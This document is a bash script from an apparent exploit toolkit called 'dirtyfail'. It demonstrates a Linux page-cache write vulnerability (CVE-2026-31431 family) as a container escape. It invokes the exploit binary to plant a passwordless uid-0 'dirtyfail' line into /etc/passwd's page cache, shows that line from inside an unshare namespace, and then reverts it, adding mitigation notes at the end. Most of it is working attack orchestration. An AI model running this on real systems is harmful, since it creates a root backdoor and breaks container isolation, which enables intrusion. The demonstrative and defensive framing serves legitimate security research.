Files

150 lines
6.7 KiB
Bash
Executable File

#!/usr/bin/env bash
#
# DIRTYFAIL — container-escape demonstration
#
# Demonstrates: the kernel page cache is global per-kernel. Namespaces
# (mount, pid, user, network) don't isolate it. Two processes on the
# same kernel — one in the host, one inside a fresh "container"
# (created via `unshare`) — see the SAME page-cache contents for
# /etc/passwd. So a page-cache write from either side affects both.
#
# What this script does:
# 1. Show host's /etc/passwd has no `dirtyfail` user (baseline)
# 2. Run `dirtyfail --exploit-backdoor` to plant a uid-0 line into
# /etc/passwd's page cache (persistent — no auto-revert)
# 3. Spawn a fresh user/mount/PID-namespace via `unshare -c -m -p`
# (the closest unprivileged-user analogue to a container) and
# read /etc/passwd from inside the new namespace
# 4. Show the planted line is visible BOTH from the host AND from
# inside the fresh namespace — proving that namespace boundaries
# do not isolate the page cache
# 5. Revert via `dirtyfail --cleanup-backdoor`
#
# Why direction matters less than you'd think: the demo runs the
# exploit on the host and observes from inside the namespace, but the
# property demonstrated is symmetric — a malicious tenant inside a
# container could plant the same line and the host would see it (we
# tested that variant manually; it works the same way, but requires
# `--no-revert` to avoid auto-cleanup overwriting the proof). Running
# the exploit from the host avoids two complications:
# - nested user namespaces interact poorly with the AA bypass dance
# that --exploit-backdoor uses (EPERM on the inner unshare)
# - corrupting the running SSH user's UID locks out future SSH logins
# (StrictModes rejects ~/.ssh/authorized_keys when the file's
# owner uid != logging-in uid)
# --exploit-backdoor targets a system pseudo-user line (sync/setroubleshoot/
# daemon) and never touches the running user, so it's SSH-safe.
#
# Usage:
# ./tools/dirtyfail-container-escape.sh
#
# Env overrides:
# DIRTYFAIL_BIN=/path/to/dirtyfail (default: ./dirtyfail)
set -uo pipefail
# Don't `set -e`; some intermediate commands (unshare with PID-ns, the
# exploit binary itself) may exit non-zero on success-with-warnings or
# on hardened systems where preconditions fail. We check exit codes
# explicitly where they matter.
DIRTYFAIL_BIN="${DIRTYFAIL_BIN:-$(dirname "$0")/../dirtyfail}"
DIRTYFAIL_BIN="$(realpath "$DIRTYFAIL_BIN" 2>/dev/null || echo "$DIRTYFAIL_BIN")"
[[ -x "$DIRTYFAIL_BIN" ]] || {
echo "[!] dirtyfail binary not at $DIRTYFAIL_BIN — run 'make' first" >&2
exit 1
}
bold() { printf '\033[1m%s\033[0m\n' "$*"; }
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
info() { printf '\033[1;34m[i]\033[0m %s\n' "$*"; }
ok() { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
step() { printf '\033[1;35m[*]\033[0m %s\n' "$*"; }
bold "============================================================="
bold " DIRTYFAIL — container-escape demonstration"
bold "============================================================="
echo
# ---- Stage 1: baseline ------------------------------------------------
step "Stage 1: baseline — host /etc/passwd"
if grep -q '^dirtyfail:' /etc/passwd; then
warn "host /etc/passwd already contains a 'dirtyfail' line."
warn "Run \`$DIRTYFAIL_BIN --cleanup-backdoor\` first."
exit 1
fi
ok "host /etc/passwd has no 'dirtyfail' user (clean baseline)"
echo
info "from inside a fresh unshare namespace, /etc/passwd looks identical:"
nscount="$(unshare -c -m bash -c 'grep -c "^dirtyfail:" /etc/passwd 2>/dev/null || echo 0' 2>&1 | tail -1)"
echo " count of dirtyfail lines visible from inside namespace: $nscount"
echo
# ---- Stage 2: plant via host ------------------------------------------
step "Stage 2: run dirtyfail --exploit-backdoor on the host"
echo " (plants 'dirtyfail::0:0:...:/:/bin/bash' into /etc/passwd's"
echo " page cache — persistent until --cleanup-backdoor or reboot)"
echo
printf 'DIRTYFAIL\n' | "$DIRTYFAIL_BIN" --exploit-backdoor --no-shell --no-color 2>&1 | tail -10
echo
# ---- Stage 3: observe from fresh namespace ---------------------------
step "Stage 3: read /etc/passwd from INSIDE a fresh unshare namespace"
echo " (the namespace was created AFTER the exploit ran — if"
echo " namespaces isolated page cache, the new namespace would"
echo " show the original /etc/passwd, not the poisoned one)"
echo
unshare -c -m bash -c '
echo " [inside namespace] uid='"$(id -u)"' (mapped via --map-current-user)"
echo " [inside namespace] mount-namespace is private to this shell"
echo " [inside namespace] grep dirtyfail /etc/passwd:"
if grep "^dirtyfail:" /etc/passwd 2>&1 | sed "s/^/ /"; then :
else echo " (no dirtyfail line found)"
fi
'
echo
# ---- Stage 4: also visible from host ---------------------------------
step "Stage 4: confirm host sees the same line"
HOST_LINE="$(grep '^dirtyfail:' /etc/passwd || true)"
if [[ -n "$HOST_LINE" ]]; then
echo " host: $HOST_LINE"
echo
warn "Both the host and the fresh namespace see the planted dirtyfail"
warn "line. The kernel page cache is shared across all namespaces"
warn "on the same kernel — namespace 'isolation' does not extend"
warn "below the page-cache layer. Symmetrically, an exploit running"
warn "inside a container (with the right preconditions) would plant"
warn "the same line and the HOST would see it."
else
warn "host /etc/passwd does NOT contain a 'dirtyfail' line — the"
warn "exploit did not plant successfully. Possible causes:"
warn " (a) kernel is patched (CVE-2026-31431 fixed)"
warn " (b) LSM blocked the exploit (Ubuntu 26.04 hardening)"
warn " (c) preconditions missing — run \`$DIRTYFAIL_BIN --scan --active\`"
exit 0
fi
echo
# ---- Stage 5: cleanup -------------------------------------------------
step "Stage 5: revert via --cleanup-backdoor"
"$DIRTYFAIL_BIN" --cleanup-backdoor --no-color 2>&1 | tail -5 || true
echo
if grep -q '^dirtyfail:' /etc/passwd; then
warn "cleanup did not remove the line — try as root:"
warn " \`echo 3 | sudo tee /proc/sys/vm/drop_caches\`"
exit 1
fi
ok "host /etc/passwd is clean again"
echo
bold "Demo complete. Takeaways:"
echo " - Namespaces did NOT isolate the host's /etc/passwd page cache"
echo " from the fresh container's view. The same property holds"
echo " in reverse: a container exploit modifies host page cache."
echo " - This applies to ALL kernel page-cache write CVEs in this"
echo " family (CVE-2026-31431, 43284, 43500, and variants)."
echo " - Mitigation: kernel patch, OR LSM hardening that denies the"
echo " exploit's preconditions (apparmor_restrict_unprivileged_userns,"
echo " AF_ALG/AF_RXRPC blacklists), OR drop privileges of any"
echo " container that doesn't strictly need AF_ALG."